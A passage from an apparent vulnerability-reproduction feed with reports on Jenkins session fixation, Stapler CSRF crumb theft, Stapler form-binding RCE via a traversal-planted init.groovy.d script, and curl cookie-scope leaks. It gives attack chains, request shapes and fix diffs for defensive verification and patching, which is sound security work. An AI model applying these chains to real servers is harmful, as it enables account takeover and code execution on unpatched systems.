or direct library harness was used. ## Recommendations / Next Steps - Upgrade weekly Jenkins to 2.580 or newer, or LTS Jenkins to 2.568.3 or newer. - Ensure every authentication mechanism, not only password form login, applies the same session-fixation protection at the unauthenticated-to-authenticated transition. - Retain an end-to-end regression test with distinct attacker, victim, planted-browser, and replay clients. Assert both identifier rotation and failure of the old cookie to authorize a protected endpoint. - Reduce cookie-planting opportunities by isolating Jenkins from untrusted sibling subdomains, using secure host/domain boundaries, enforcing HTTPS, and auditing intermediaries for header/cookie injection. - Treat existing remember-me sessions conservatively during upgrade or incident response; invalidate sessions/tokens if cookie planting is suspected. ## Additional Notes - **Idempotency:** Confirmed. The final `reproduction_steps.sh` was run twice consecutively after its last functional/privacy change, and both executions passed all two-vulnerable/two-fixed assertions. - **Evidence hygiene:** Raw session and remember-me cookie values are deleted. Retained HTTP headers replace each `Set-Cookie` value with ``, and observations compare SHA-256 digests rather than exposing identifiers. - **Setup choice:** CSRF is disabled only in each ephemeral test controller so the script can directly exercise the login endpoint without a preliminary crumb exchange. This does not affect the remember-me filter's session-rotation behavior or the replay oracle. - **Limitation:** The proof models the browser result of a same-site planting primitive rather than deploying hostile DNS/subdomains. The actual attacker-controlled cookie crosses the real Jenkins HTTP boundary, and the vulnerable/fixed divergence matches Jenkins's SECURITY-4016 regression test and code fix. ### Reproduction - Reproduced: 2026-09-11T10:13:41.051Z - Duration: 1609s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00351 # or: pruva-verify CVE-2026-84652 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00351 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00351/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00351 ================================================================================ ## REPRO-2026-00350: Jenkins Stapler: CSRF crumb exposed in dynamically generated JavaScript endpoint (SECURITY-3607) -------------------------------------------------------------------------------- Status: published Severity: medium Type: security ### Identifiers - REPRO ID: REPRO-2026-00350 - CVE: CVE-2026-84649 (https://nvd.nist.gov/vuln/detail/CVE-2026-84649) ### Package Information - Name: jenkinsci/jenkins - Ecosystem: github - Affected: Unknown - Fixed: Unknown - Severity: medium - CVSS: Unknown - CWE: CWE-352 (Cross-Site Request Forgery (CSRF)) ### Root Cause # Root Cause Analysis: CVE-2026-84649 (SECURITY-3878) ## Summary Jenkins 2.579 bundles Stapler 2107.v8dfcb_e8ed317, whose dynamically generated JavaScript proxy endpoint serializes the authenticated user's CSRF crumb as a JavaScript string literal. A page controlled by an attacker on a sibling host in the same site can load that endpoint as a script, define `makeStaplerProxy`, capture the literal, and submit a cross-origin HTML form carrying the stolen crumb. In the current production-path proof, real Chromium logged in a victim, visited `attacker.example.test`, loaded the script from `jenkins.example.test`, recovered the crumb, and created a Jenkins API token through a POST that returned HTTP 403 without the crumb and HTTP 200 with the stolen crumb. Jenkins 2.580 replaces the literal with a DOM expression and is not vulnerable through this endpoint. ## Impact - **Affected component:** Jenkins core's Stapler integration and Stapler's dynamic JavaScript proxy endpoint `/$stapler/bound/script/...`. - **Affected versions:** Stapler 1839.ved17667b_a_eb_5 through 2107.v8dfcb_e8ed317 inclusive, except 2088.2093.vd7c3e58008a_6; Jenkins weekly 2.447 through 2.579 inclusive; Jenkins LTS 2.452.1 through 2.568.2 inclusive. - **Risk and consequences:** High according to Jenkins SECURITY-3878 (the ticket metadata said medium). The prerequisite is attacker-controlled active content on the same site as Jenkins, such as a sibling subdomain; the Resource Root URL being configured on that same site makes this particularly impactful. A victim must visit the attacker content while logged in. The attacker page can then authorize state-changing actions within the victim's Jenkins permissions. This run demonstrated creation of a new API token in the victim account. ## Impact Parity - **Disclosed/claimed maximum impact:** CSRF crumb theft leading to full authenticated-session action forgery (`authz_bypass`). - **Reproduced impact from this run:** A real sibling-host attacker page exfiltrated the victim's crumb in Chromium and used an ordinary cross-origin HTML form to create a victim API token. An identical state-changing POST without the stolen crumb returned HTTP 403; the forged POST returned HTTP 200 and produced token UUID `e81361f4-1998-41ca-98e0-dd36d6a7b747` in the final run. - **Parity:** `full`. - **Not demonstrated:** No stronger impact than actions already authorized to the victim was claimed or tested. The issued secret token value is intentionally not copied into this report. ## Root Cause Jenkins initializes Stapler's `org.kohsuke.stapler.CrumbIssuer` adapter in `core/src/main/java/hudson/security/csrf/CrumbIssuer.java`. In the vulnerable release, the adapter implements `issueCrumb` by returning `Jenkins.get().getCrumbIssuer().getCrumb(request)`. Stapler's `Bound.getProxyScript` consumes that value when rendering its dynamic proxy resource and single-quotes it in output such as: ```javascript varname = makeStaplerProxy('/whatever','SESSION_CRUMB',['methodname']); ``` Script inclusion is not protected by the browser same-origin read restriction in the way `fetch` is: a sibling-host page can load this JavaScript and provide its own `makeStaplerProxy` function to receive the literal argument. Because the sibling hosts are same-site, a victim's Jenkins session cookie is also eligible for the subsequent form POST. The endpoint therefore reveals the second anti-CSRF factor to the party that can already induce the browser to send the first factor. Fix commit [`95e24c6cfa75efd4a7c079ef091df6fd02748d1a`](https://github.com/jenkinsci/jenkins/commit/95e24c6cfa75efd4a7c079ef091df6fd02748d1a) (`[SECURITY-3878]`) changes the adapter to override `getCrumbExpression()` and return `document.head.dataset.crumbValue` when CSRF protection is enabled. Stapler 2117.vb_66952503166 then emits: ```javascript varname = makeStaplerProxy('/whatever',document.head.dataset.crumbValue,['methodname']); ``` The secret is no longer present in the cross-host script response. Jenkins 2.580 contains the fix; 2.579 does not. The tested peeled release commits were `9095ea3a5c5e7dcd392695a5dd880af1c9910ddf` and `497de4961ad80d97e26bfdeb0d2e40442a84ecb0` respectively. ## Reproduction Steps 1. Run `bundle/repro/reproduction_steps.sh` from any directory. The script reads `PRUVA_ROOT` or resolves the bundle path itself. 2. The script pulls and verifies these exact images: - vulnerable Jenkins 2.579 JDK 21: `sha256:a7342867ea33efaacf825229d50b7fc77c144ecada9719ab4e32419f5d7412be`; - fixed Jenkins 2.580 JDK 21: `sha256:0e50a5b11ac14f3b84e529d725ed3a1c4b17ba16188dfa8d9a0189428b0839b1`; - Playwright v1.55.0 Noble: `sha256:b27e719ecbfef153e13fd24e8341736733bf2658b229677eb21ff57ff5d7fb29`. 3. It starts real Jenkins controllers, creates and form-authenticates a victim, executes `bundle/repro/same_site_attack.js` in real Chromium, and serves an in-browser attacker page at `attacker.example.test` which loads the Jenkins script endpoint at sibling `jenkins.example.test`. 4. It submits the state-changing token-generation action with an actual cross-origin HTML form using the captured crumb. It also runs two isolated direct vulnerable attempts and two Jenkins 2.580 fixed negative-control attempts. 5. Expected success output is `CONFIRMED: Jenkins 2.579 exposed a session crumb ...; Jenkins 2.580 did not.` The script exits nonzero unless the no-crumb request is 403, the vulnerable stolen-crumb request is 200, and both fixed attempts omit the literal and emit the safe DOM expression. ## Evidence - **Real browser exploit result:** `bundle/repro/proof/browser-same-site-result.json` - `attacker_origin=http://attacker.example.test:8081/attack.html` - `victim_authenticated_as=victim` - `no_crumb_http=403` - `stolen_crumb_http=200` - `created_token_uuid=e81361f4-1998-41ca-98e0-dd36d6a7b747` - **Browser-created state-change marker:** `bundle/repro/proof/browser-same-site-marker.txt`. - **Browser/Jenkins service transcript:** `bundle/repro/proof/browser-same-site.service.log`. - **Two direct vulnerable attempt summaries:** `bundle/repro/proof/vulnerable_1.result.txt` and `vulnerable_2.result.txt`. Each records authentication, no-crumb HTTP 403, equality between the dynamic-script literal and the authenticated session crumb, and stolen-crumb HTTP 200. - **State-changing responses:** `bundle/repro/proof/vulnerable_1.stolen_crumb.response.body` and `vulnerable_2.stolen_crumb.response.body` contain Jenkins `status: ok` and fresh token UUIDs. - **Fixed negative controls:** `bundle/repro/proof/fixed_1.dynamic-js.response.body` and `fixed_2.dynamic-js.response.body` contain `document.head.dataset.crumbValue`, while both fixed result files record an empty dynamic literal and no attempted forged action. - **Loaded product/component identity:** `bundle/repro/proof/*product-component-identity.txt` binds the exact WAR SHA-256 and bundled Stapler jars (2107 vulnerable, 2117 fixed). - **Image identities:** `bundle/repro/proof/target-identities.txt`. - **Hash binding:** `bundle/repro/runtime_manifest.json` lists 48 finalized proof artifacts and the SHA-256 of each. It identifies the executed vulnerable image and peeled Jenkins commit. - **Root-cause source evidence:** `bundle/logs/repro/security-3878-source-diff.txt`, `vulnerable-source-snippet.txt`, `fixed-source-snippet.txt`, and `fix-commit-identity.txt`. - **Repeated execution:** `bundle/logs/reproduction_steps-redacted1.stdout` and `reproduction_steps-redacted2.stdout` both contain the confirmation line; both corresponding stderr logs are empty. No sanitizer was used. This was a production HTTP and browser workflow against the official Jenkins images, not a parser/unit harness. ## Recommendations / Next Steps - Upgrade Jenkins weekly to 2.580 or later, or LTS to 2.568.3 or later. - If immediate upgrade is impossible, disable the Resource Root URL feature or place it on a different registrable domain rather than a sibling host on the Jenkins site. - Do not host untrusted active content on the Jenkins site. - Preserve regression tests that request `/$stapler/bound/script/whatever?var=...&methods=...` with CSRF enabled and assert that the response contains no crumb-like literal and does contain the DOM expression. - Test with a real browser and sibling-host setup so script inclusion and SameSite cookie behavior remain covered. ## Additional Notes - The exact final script and helper passed twice consecutively after digest pinning and the cross-origin form enhancement. Their SHA-256 values are `487358e21524f0215abf5a00acf9898d07f00b04c995a7fb377285f0bc6f3914` and `88bf6d58888e4ec722c4739c968d8347c730f97ce8d40d21ba0169c1de2f0605`. - Every controller uses a fresh temporary Docker volume and every invocation removes its containers, network, and labeled volumes. - The ticket summary calls this `SECURITY-3607`; the Jenkins advisory, source test, and fix commit consistently identify it as `SECURITY-3878`. - The browser helper installs the exact `playwright@1.55.0` Node package into a temporary volume while reusing the matching immutable Playwright image's Chromium. Network access is therefore required for first-time image and package acquisition. ### Reproduction - Reproduced: 2026-09-11T10:13:35.085Z - Duration: 3116s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00350 # or: pruva-verify CVE-2026-84649 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00350 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00350/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00350 ================================================================================ ## REPRO-2026-00349: Jenkins Stapler form binding instantiates arbitrary config types → RCE (SECURITY-3966) -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00349 - CVE: CVE-2026-84647 (https://nvd.nist.gov/vuln/detail/CVE-2026-84647) ### Package Information - Name: jenkinsci/jenkins - Ecosystem: github - Affected: Unknown - Fixed: Unknown - Severity: high - CVSS: Unknown - CWE: CWE-502 (Deserialization of Untrusted Data) ### Root Cause # Root Cause Analysis: CVE-2026-84647 (Jenkins SECURITY-3915) ## Summary Jenkins 2.579 bundles Stapler 2107.v8dfcb_e8ed317, whose structured-form collection binder trusts every class name encoded as a key beneath `stapler-class-bag`. It loads and instantiates the requested class without first checking that the class is a subtype of the collection's declared item type. An authenticated user with only Overall/Read can reach the personal My Views creation endpoint and submit a `ListView.columns` collection that names an unrelated configuration class. In this run, the attacker selected `io.jenkins.plugins.file_parameters.StashedFileParameterValue`; its data-bound constructor consumed an uploaded file and an attacker-controlled traversal name, placing attacker Groovy under `JENKINS_HOME/init.groovy.d`. On an ordinary Jenkins restart, the real controller executed the Groovy startup hook and created a unique command-execution marker. Jenkins 2.580 reached the same endpoint but ignored the incompatible class before construction. ## Impact - **Affected component:** Jenkins core's bundled Stapler structured form-binding implementation, specifically collection conversion in `org.kohsuke.stapler.RequestImpl.TypePair.convertJSON`. - **Affected versions:** Stapler 2107.v8dfcb_e8ed317 and earlier, except 2088.2093.vd7c3e58008a_6; included in Jenkins weekly 2.579 and earlier and Jenkins LTS 2.568.2 and earlier. The issue is fixed in Jenkins weekly 2.580 and LTS 2.568.3. - **Tested vulnerable target:** Immutable image `jenkins/jenkins@sha256:a7342867ea33efaacf825229d50b7fc77c144ecada9719ab4e32419f5d7412be` (Jenkins 2.579, source commit `9095ea3a5c5e7dcd392695a5dd880af1c9910ddf`). - **Tested fixed target:** Immutable image `jenkins/jenkins@sha256:0e50a5b11ac14f3b84e529d725ed3a1c4b17ba16188dfa8d9a0189428b0839b1` (Jenkins 2.580, source commit `497de4961ad80d97e26bfdeb0d2e40442a84ecb0`). - **Risk:** High. A network attacker with only Overall/Read can invoke constructors and setters of configuration-related classes outside the intended destination type. Impact depends on available data-bound gadget classes. With File Parameter Plugin 425.v3fa_801681b_5e, the run demonstrated a controller file-write gadget and persistent controller-side code execution after restart. The low-privilege user was denied direct Script Console access. ## Impact Parity - **Disclosed/claimed maximum impact:** Remote code execution on the Jenkins controller. - **Reproduced impact from this run:** Full controller code execution. Two independent low-privilege HTTP submissions placed attacker-selected Groovy in `JENKINS_HOME/init.groovy.d`; after restarting each controller, Jenkins' real `GroovyHookScript` executed it and created a unique marker. - **Parity:** `full`. - **Not demonstrated:** Immediate, restart-free command execution was not required or demonstrated. The proven chain requires a later controller restart and the installed File Parameter Plugin 425 gadget. No sanitizer, direct unit harness, administrative token, Script Console, or Item/Configure permission was used for the attack. ## Root Cause For collection-valued form fields, Stapler recognizes a JSON object containing `"stapler-class-bag": true`. In vulnerable `RequestImpl.TypePair.convertJSON`, it iterates over all object entries, converts each entry key from JSON-safe `-` escaping back to `.`, and performs: ```java Class itemType = cl.loadClass(className); l.add(bindJSON(itemType, (JSONObject) v)); ``` Although the collection lister carries the expected element class as `l.itemType`, the vulnerable code never checks `l.itemType.isAssignableFrom(itemType)` before recursively binding and constructing the attacker-selected class. Type incompatibility is discovered only later, if at all; constructor and setter side effects have already occurred. The low-privilege personal-view endpoint is exploitable because creating a personal view is permitted with Overall/Read and `ListView` has a data-bound `List` property. The security fix is Stapler commit [`b49b34c07103fb238a566e51b531729f1b68e73d`](https://github.com/jenkinsci/stapler/commit/b49b34c07103fb238a566e51b531729f1b68e73d) (`SECURITY-3915`). It changes class loading to: ```java Class itemType = cl.loadClass(className).asSubclass(l.itemType); ``` and catches `ClassCastException` together with `ClassNotFoundException`. Consequently, Jenkins 2.580 ignores `StashedFileParameterValue` when binding `ListView.columns` because it is not a `ListViewColumn`, so its constructor never receives the upload and cannot create the startup hook. ## Reproduction Steps 1. Run `bundle/repro/reproduction_steps.sh` with Bash and a working Docker daemon. 2. The script reads `bundle/project_cache_context.json` when available, otherwise uses `bundle/artifacts/jenkins-security-3915`; downloads checksum-pinned plugins; and uses immutable Jenkins 2.579 and 2.580 image digests. 3. For each target, it starts clean controller processes with matrix authorization granting `alice` only Overall/Read. It proves the restriction with `GET /script` returning HTTP 403. 4. It sends an authenticated multipart `POST /user/alice/my-views/createView`. The submitted `ListView.columns.stapler-class-bag` names `StashedFileParameterValue`, and the uploaded file is attacker Groovy whose constructor argument places it at `../../init.groovy.d/cve84647.groovy` relative to the gadget's temporary directory. 5. It restarts the real Jenkins controller and checks for a unique target-local marker written by that Groovy. 6. The script performs two clean Jenkins 2.579 attempts and two clean Jenkins 2.580 controls, emits `bundle/repro/runtime_manifest.json`, verifies every bound artifact hash, and exits 0 only for the expected vulnerable/fixed divergence. 7. Expected terminal output includes: ```text CONFIRMED vulnerable attempt 1: low-privilege request executed attacker Groovy after restart CONFIRMED vulnerable attempt 2: low-privilege request executed attacker Groovy after restart CONFIRMED fixed attempt 1: target path reached but incompatible class constructor did not run CONFIRMED fixed attempt 2: target path reached but incompatible class constructor did not run CVE-2026-84647 CONFIRMED: two low-privilege production HTTP attempts achieved controller code execution; two fixed controls failed closed. ``` ## Evidence - `bundle/repro/runtime_manifest.json`: strict runtime manifest with 42 immutable proof artifacts and SHA-256 bindings. - `bundle/repro/proof/vulnerable_1.request.json` and `vulnerable_2.request.json`: attacker request shape crossing the actual Jenkins HTTP endpoint. - `bundle/repro/proof/vulnerable_1.response.headers` and `vulnerable_2.response.headers`: endpoint responses. - `bundle/repro/proof/vulnerable_1.privilege.txt` and `vulnerable_2.privilege.txt`: `GET /script HTTP 403`, proving the attacker did not have Overall/Administer. - `bundle/repro/proof/vulnerable_1.result.txt` and `vulnerable_2.result.txt`: each records `payload_script_present=true` and `marker_present=true`. - `bundle/repro/proof/vulnerable_1.marker.txt` and `vulnerable_2.marker.txt`: unique controller-local command markers. - `bundle/repro/proof/vulnerable_1.service.log` and `vulnerable_2.service.log`: real Jenkins lifecycle logs. Each includes `Starting version 2.579` and `Executing /var/jenkins_home/init.groovy.d/cve84647.groovy` after restart. - `bundle/repro/proof/fixed_1.result.txt` and `fixed_2.result.txt`: same endpoint reached on Jenkins 2.580, but `payload_script_present=false` and `marker_present=false`. - `bundle/repro/proof/fixed_1.negative_control.json` and `fixed_2.negative_control.json`: explicit target-reached fixed observations. - `bundle/repro/proof/fixed_1.service.log` and `fixed_2.service.log`: Jenkins 2.580 starts and restarts without executing the attacker hook. - `bundle/logs/reproduction_steps.log`: concise final-run diagnostic summary. A final vulnerable log excerpt is: ```text Starting version 2.579 Executing /var/jenkins_home/init.groovy.d/cve84647.groovy Jenkins is fully up and running ``` The corresponding fixed result is: ```text POST /user/alice/my-views/createView HTTP 302 payload_script_present=false marker_present=false ``` The final script was executed twice consecutively. Both complete runs exited 0 (approximately 63 seconds and 58 seconds) and reproduced two vulnerable executions plus two fixed controls on each run. ## Recommendations / Next Steps - Upgrade Jenkins weekly to 2.580 or newer, or Jenkins LTS to 2.568.3 or newer. - Ensure the bundled Stapler version contains commit `b49b34c07103fb238a566e51b531729f1b68e73d` or an equivalent backport. - Independently upgrade plugins fixed in the 2026-09-02 advisory. In particular, update File Parameter Plugin to 433.va_0b_80359d54d or newer; this removes the traversal primitive used in the demonstrated composition. - Audit `@DataBoundConstructor` and `@DataBoundSetter` methods for side effects and permission checks. Constructors should not write files, initiate network connections, modify global state, or execute commands merely as a consequence of binding. - Add regression tests for every structured-form collection syntax, especially `stapler-class-bag`, proving that unrelated classes are rejected before constructors or setters execute. - Monitor `JENKINS_HOME/init.groovy.d`, plugin configuration files, and unexpected controller restarts for evidence of persistence. Rotate secrets if compromise is suspected. ## Additional Notes - **Idempotency:** Confirmed. The final reproducer passed twice consecutively and uses isolated Docker volumes, unique container names, unique marker values, bounded health checks, and cleanup traps. - **Runtime boundary:** Production Jenkins HTTP/Stapler endpoint, not a direct parser call or unit harness. - **Sanitizers:** None used. - **Exploit preconditions:** Authenticated Overall/Read access; an available configuration-related data-bound gadget (File Parameter Plugin 425 in this proof); write access of the Jenkins process to its own home; and a later controller restart for startup-hook execution. - **Endpoint behavior:** Both vulnerable and fixed versions return HTTP 302 because the outer personal ListView remains valid. Security is proven by the constructor side effect and marker divergence, not status code alone. - **Scope limitation:** The demonstrated file gadget comes from an affected plugin. The root vulnerability itself is in Stapler and permits incompatible class selection; other installed classes may provide different consequences. ### Reproduction - Reproduced: 2026-09-11T10:13:28.688Z - Duration: 3063s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00349 # or: pruva-verify CVE-2026-84647 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00349 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00349/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00349 ================================================================================ ## REPRO-2026-00348: curl: domain-scoped cookie for a public suffix (e.g. Domain=co.uk) leaks to sibling subdomains despite libpsl -------------------------------------------------------------------------------- Status: published Severity: low Type: security ### Identifiers - REPRO ID: REPRO-2026-00348 - CVE: CVE-2026-82209 (https://nvd.nist.gov/vuln/detail/CVE-2026-82209) ### Package Information - Name: curl/libcurl - Ecosystem: Unknown - Affected: Unknown - Fixed: Unknown - Severity: low - CVSS: Unknown - CWE: CWE-201: Information Exposure Through Sent Data. ### Root Cause # Root Cause Analysis: CVE-2026-82209 ## Summary CVE-2026-82209 is a cookie-scope information disclosure in curl/libcurl builds that use libpsl. When an HTTP origin whose hostname is itself a Public Suffix List (PSL) entry returns a `Set-Cookie` header with an explicit `Domain` equal to that hostname, vulnerable curl accepts the cookie as domain-scoped. It subsequently sends the cookie to sibling hosts under the public suffix. This run confirmed the behavior through real HTTP endpoints and the curl command-line product at the exact parent of the fix, then showed that the fixed commit retains the cookie only for the exact origin. ## Impact - **Package/component affected:** curl/libcurl HTTP cookie engine when built with libpsl. - **Affected versions:** curl 7.46.0 through and including 8.21.0. Versions before 7.46.0 and versions 8.22.0 or later are not affected according to the curl advisory. - **Risk level and consequences:** Low severity, CWE-201. A cookie issued by a public-suffix apex can be disclosed in an outbound request to an arbitrary sibling beneath that suffix. The apex must issue the cookie; an attacker cannot plant it directly. The same curl client must later contact an attacker-controlled sibling, a plausible condition for shared-hosting or dynamic-DNS suffixes on the PSL. ## Impact Parity - **Disclosed/claimed maximum impact:** Information leak. - **Reproduced impact from this run:** The sibling endpoint `attacker.github.io` received `Cookie: sid=DOMAIN_SECRET` after `github.io` issued `Set-Cookie: sid=DOMAIN_SECRET; Domain=github.io; Path=/` to vulnerable curl. - **Parity:** full. - **Not demonstrated:** No greater impact, such as authentication bypass or code execution, was claimed or tested. The proof uses a marker cookie rather than a real credential. ## Root Cause `Curl_cookie_add()` parses a response cookie and gives a cookie with an explicit `Domain` attribute the `tailmatch` property. In the vulnerable parent (`f8992b6a177a2ccfb5dc04137088534bad68681c`), `is_public_suffix()` treats the exact-origin case as acceptable according to `psl_is_cookie_domain_acceptable()`, but it cannot change the `const struct Cookie *co`. The cookie therefore remains tail-matching even when `co->domain` and the request domain are the same PSL entry. Curl's normal domain matching then sends it to siblings. The fix, commit [`95c1e8915dce64606bd753fd47fc0bd236e31cd6`](https://github.com/curl/curl/commit/95c1e8915dce64606bd753fd47f), makes the cookie mutable in `is_public_suffix()` and clears `co->tailmatch` when all of these hold: 1. libpsl accepts the cookie-domain relationship; 2. the parsed cookie would otherwise tail-match; 3. the cookie domain exactly equals the response origin; and 4. `psl_is_public_suffix()` confirms that domain is a public suffix. The fixed cookie is thus host-only rather than discarded: it is sent back to `github.io` but not to `attacker.github.io`. The patch also moves PSL handling earlier in `Curl_cookie_add()` and adds upstream regression test 2318. ## Reproduction Steps 1. Run `bundle/repro/reproduction_steps.sh` from any directory (optionally set `PRUVA_ROOT` to the bundle path). 2. The script reads the prepared cache context, checks out the exact fixed commit and its parent in separate worktrees, verifies that the patch hunk is absent/present as expected, and builds both curl products with libpsl enabled. 3. For each of two vulnerable and two fixed attempts, it starts an isolated localhost HTTP endpoint and runs the real curl CLI with `--resolve` mappings for the canonical PSL entry `github.io` and sibling `attacker.github.io`. The endpoint issues the domain cookie at `/set` and records the subsequent `/sibling` and `/origin-check` requests. 4. Success requires both vulnerable attempts to disclose `DOMAIN_SECRET` to the sibling, both fixed attempts to withhold it from the sibling, and all four attempts to retain it for the exact origin. The script validates and hashes every immutable proof artifact before exiting 0. ## Evidence - **Runtime manifest:** `bundle/repro/runtime_manifest.json` - **Vulnerable endpoint transcripts:** - `bundle/repro/vulnerable-server-1.log` - `bundle/repro/vulnerable-server-2.log` - **Fixed negative controls:** - `bundle/repro/fixed-server-1.log` - `bundle/repro/fixed-server-2.log` - **Full curl request/response traces:** `bundle/repro/vulnerable-attempt-{1,2}.log` and `bundle/repro/fixed-attempt-{1,2}.log` - **Source, feature, and loader identity:** `bundle/repro/target-identity.log` - **Build/session diagnostics:** `bundle/logs/reproduction_steps.log`, `bundle/logs/cmake-{vulnerable,fixed}.log`, and `bundle/logs/build-{vulnerable,fixed}.log` Key vulnerable endpoint evidence: ```json {"cookie": "sid=DOMAIN_SECRET", "event": "request", "host": "attacker.github.io:", "path": "/sibling"} ``` Key fixed negative-control evidence: ```json {"cookie": null, "event": "request", "host": "attacker.github.io:", "path": "/sibling"} {"cookie": "sid=DOMAIN_SECRET", "event": "request", "host": "github.io:", "path": "/origin-check"} ``` `target-identity.log` proves that both binaries expose the `PSL` feature, link to `libpsl.so.5`, and load their intended worktree-specific `libcurl.so.4`. The tested vulnerable identity is repository `https://github.com/curl/curl` at commit `f8992b6a177a2ccfb5dc04137088534bad68681c`; its canonical source identity digest is recorded in the runtime manifest as `e677ed09f427dd41bac4cb6f8de6e53aa64d3e05fafd927d2d839caf380ed643`. No sanitizer was used. ## Recommendations / Next Steps - Upgrade to curl 8.22.0 or newer. - If upgrading is not possible, backport commit `95c1e8915dce64606bd753fd47fc0bd236e31cd6`. - Retain libpsl support; disabling PSL enforcement is not an appropriate fix. - Add regression coverage for exact PSL-domain cookies, ordinary registrable domains, sibling requests, trailing-dot host/domain forms, redirects, cookie persistence/reload, and curl's API as well as CLI paths. - Applications that cannot update immediately should avoid accepting or persisting sensitive cookies from hosts that are themselves public suffixes. ## Additional Notes - **Idempotency:** Confirmed. The complete reproduction script passed twice consecutively. Each script run itself executes two isolated vulnerable attempts and two isolated fixed attempts. - **Environment:** Linux x86-64; curl source builds used libpsl 0.21.2. HTTP DNS names were mapped with curl's `--resolve`, so no public DNS or `/etc/hosts` modification was required. - **Limitations:** The test uses `github.io`, the canonical PSL domain from upstream test 2318, and a marker cookie over localhost HTTP. The exploitability precondition that the PSL apex supplies the cookie remains essential. ### Reproduction - Reproduced: 2026-09-11T10:13:22.537Z - Duration: 1468s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00348 # or: pruva-verify CVE-2026-82209 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00348 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00348/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00348 ================================================================================ ## REPRO-2026-00347: curl: Secure cookie attribute bypass when a TAB character precedes the Secure attribute in Set-Cookie -------------------------------------------------------------------------------- Status: published Severity: low Type: security ### Identifiers - REPRO ID: REPRO-2026-00347 - CVE: CVE-2026-80255 (https://nvd.nist.gov/vuln/detail/CVE-2026-80255) ### Package Information - Name: curl/curl - Ecosystem: github - Affected: curl 8.13.0 through 8.21.0 inclusive; the machine-readable advisory lists 8.13.0, 8.14.0, 8.14.1, 8.15.0, 8.16.0, 8.17.0, 8.18.0, 8.19.0, 8.20.0, and 8.21.0. - Fixed: curl 8.22.0 - Severity: low - CVSS: Unknown - CWE: CWE-201: Information Exposure Through Sent Data ### Root Cause # Root Cause Analysis: CVE-2026-80255 ## Summary CVE-2026-80255 is a curl/libcurl HTTP cookie-parser vulnerability in which a response attribute encoded as `;\tSecure` is not recognized as the `Secure` attribute. In the tested vulnerable fix parent, curl persisted `sess=SECRET` with its secure-only field set to `FALSE`; a later invocation of the real curl command-line product then transmitted `Cookie: sess=SECRET` to a plaintext HTTP peer. The exact fixed commit persisted the same cookie with `Secure=TRUE` and omitted it from the equivalent plaintext request. ## Impact - **Package/component affected:** curl/libcurl, specifically `lib/cookie.c` HTTP `Set-Cookie` parsing as exercised by the curl command-line product. - **Affected versions:** The advisory reports curl 8.13.0 through 8.21.0, introduced by `1aea05a6c2699e80c75936d5`. Per the fixed-commit checkout rule, this run tested the exact fix parent `621e507300e6c83966567b6ae0352ca82544df13` as vulnerable and `4f6aa41a0145e930e766775dbe860883d350aa0a` as fixed. - **Risk level and consequences:** Low severity, but with a concrete confidentiality consequence. A server capable of returning the crafted `Set-Cookie` header can cause affected curl clients to disclose a cookie intended for encrypted transport in a later plaintext HTTP request to the same non-localhost origin. The cookie is visible to that HTTP peer and to network observers on the plaintext path. ## Impact Parity - **Disclosed/claimed maximum impact:** Information disclosure of a cookie intended to have the `Secure` transport restriction. - **Reproduced impact from this run:** The literal secret `sess=SECRET` was captured in plaintext HTTP request bytes in two independent vulnerable product attempts after being set through two independent HTTPS TCP sessions. - **Parity:** `full` - **Not demonstrated:** No higher impact such as arbitrary memory disclosure or code execution was claimed or attempted. The demonstrated disclosure is bounded to the affected application's cookie data and workflow. ## Root Cause The parser in the vulnerable commit scans each cookie attribute name with: ```c if(!curlx_str_cspn(&ptr, &name, ";\t\r\n=")) { ``` Including horizontal TAB in this delimiter set makes parsing of `Set-Cookie: sess=SECRET;\tSecure` terminate in a way that prevents the following token from matching the recognized `Secure` attribute. curl therefore persists the cookie with the secure field set to `FALSE`. When that cookie jar is loaded for a later request to plaintext `http://tab-cookie.invalid`, curl considers it eligible and emits the secret in the `Cookie` request header. Fix commit [`4f6aa41a0145e930e766775dbe860883d350aa0a`](https://github.com/curl/curl/commit/4f6aa41a0145e930e766775dbe860883d350aa0a) changes the scan delimiter to: ```c if(!curlx_str_cspn(&ptr, &name, ";\r\n=")) { ``` TAB is then handled as leading whitespace around the attribute name, allowing `Secure` to be recognized. The fixed cookie jar records `TRUE`, and curl omits the cookie from plaintext HTTP. The fix also adds upstream regression test 2885 for this exact TAB-before-Secure form. ## Reproduction Steps 1. Run `bundle/repro/reproduction_steps.sh` from any directory; it derives portable paths from its own location and honors `PRUVA_ROOT`. 2. The script reads `bundle/project_cache_context.json`, uses the required prepared repository path when available, resolves fixed commit `4f6aa41a0145e930e766775dbe860883d350aa0a` and its first parent, and verifies the vulnerable and fixed source hunks before building non-sanitized real curl command-line products. 3. For each isolated attempt, it starts an HTTPS TCP peer, maps the non-localhost name `tab-cookie.invalid` to that peer with curl `--resolve`, and sends the literal wire header `Set-Cookie: sess=SECRET;\x09Secure`. It then starts a fresh plaintext HTTP peer, loads the resulting cookie jar with the same product build, and captures the request bytes. 4. It requires two vulnerable attempts to show `secure=FALSE` plus a captured plaintext `Cookie: sess=SECRET`, and two fixed attempts to show `secure=TRUE` with no Cookie header. All curl invocations are bounded by `timeout`. 5. On success it writes strict, target-bound `bundle/repro/runtime_manifest.json` with SHA-256 hashes of finalized evidence files. Exit status 0 means the issue was confirmed; status 1 means the required divergence was not reproduced. Expected terminal output includes: ```text PASS vulnerable attempt 1: secure=FALSE 